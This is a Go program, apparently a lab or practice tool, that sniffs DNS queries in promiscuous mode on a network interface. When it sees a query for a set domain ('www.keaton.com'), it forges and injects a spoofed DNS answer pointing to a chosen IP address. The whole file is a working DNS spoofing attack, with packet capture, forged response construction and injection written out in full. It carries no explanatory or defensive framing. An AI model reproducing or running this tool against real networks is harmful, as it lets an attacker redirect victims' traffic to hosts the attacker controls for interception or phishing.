package main

import (
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"time"

	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
)

const DEBUG = false
const SPOOF_IP = "1.1.1.1"
const DOMAIN = "www.keaton.com"
const TTL = 120

var start time.Time

func main() {
	var iface string
	if len(os.Args) >= 2 {
		iface = os.Args[1]
	} else {
		iface = "ens33"
	}
	inactive, err := pcap.NewInactiveHandle(iface)
	if err != nil {
		log.Fatal(err)
	}
	defer inactive.CleanUp()

	// Set real time capture
	if err := inactive.SetImmediateMode(true); err != nil {
		panic(err)
	} else if err := inactive.SetPromisc(true); err != nil {
		panic(err)
	}

	if handle, err := inactive.Activate(); err != nil {
		panic(err)
	} else if err := handle.SetBPFFilter("udp and dst port domain"); err != nil {
		panic(err)
	} else {
		defer handle.Close()

		fmt.Printf("Start capture, iface: %s\n", iface)

		// Decode as Ethernet packets
		packetSource := gopacket.NewPacketSource(handle, layers.LinkTypeEthernet)
		for {
			packet, err := packetSource.NextPacket()

			if err == io.EOF {
				break
			} else if err != nil {
				log.Println("Error:", err)
				continue
			}

			if DEBUG {
				start = time.Now()
			}

			handlePacket(packet, handle)

			if DEBUG {
				elapsed := time.Since(start)
				fmt.Println("time elapsed:", elapsed)
			}
		}
	}
}

func handlePacket(packet gopacket.Packet, handle *pcap.Handle) {
	dnsLayer := packet.Layer(layers.LayerTypeDNS)
	dns := dnsLayer.(*layers.DNS)
	if !dns.QR {
		if len(dns.Questions) > 0 && string(dns.Questions[0].Name) == DOMAIN {
			dns.Answers = []layers.DNSResourceRecord{
				{
					Name:  dns.Questions[0].Name,
					Type:  layers.DNSTypeA,
					Class: layers.DNSClassIN,
					IP:    net.ParseIP(SPOOF_IP),
					TTL:   TTL,
				},
			}
			dns.QR = true
			dns.RA = true

			// build the IP layer no copy
			ipLayer := packet.Layer(layers.LayerTypeIPv4)
			ip := ipLayer.(*layers.IPv4)
			ip.SrcIP, ip.DstIP = ip.DstIP, ip.SrcIP
			ip.Id += 1

			// build the UDP layer no copy
			udpLayer := packet.Layer(layers.LayerTypeUDP)
			udp := udpLayer.(*layers.UDP)
			udp.SrcPort, udp.DstPort = udp.DstPort, udp.SrcPort

			if err := udp.SetNetworkLayerForChecksum(ip); err != nil {
				panic(err)
			}

			// build the ETH layer no copy
			ethLayer := packet.Layer(layers.LayerTypeEthernet)
			eth := ethLayer.(*layers.Ethernet)
			eth.SrcMAC, eth.DstMAC = eth.DstMAC, eth.SrcMAC

			// Serialize layers into buf
			buf := gopacket.NewSerializeBuffer()
			opts := gopacket.SerializeOptions{
				FixLengths:       true,
				ComputeChecksums: true,
			}

			if err := gopacket.SerializeLayers(buf, opts, eth, ip, udp, dns); err != nil {
				panic(err)
			}

			// Send response packet
			if err := handle.WritePacketData(buf.Bytes()); err != nil {
				panic(err)
			}

			if DEBUG {
				fmt.Println(time.Now().Format("01-02-2006 15:04:05.000000000"))
				fmt.Println("buf len:", len(buf.Bytes()))
				fmt.Printf("%s:%d -> %s:%d\n", ip.SrcIP, udp.SrcPort, ip.DstIP, udp.DstPort)
			}

			fmt.Println("Write packet success!")
		}
	}
}
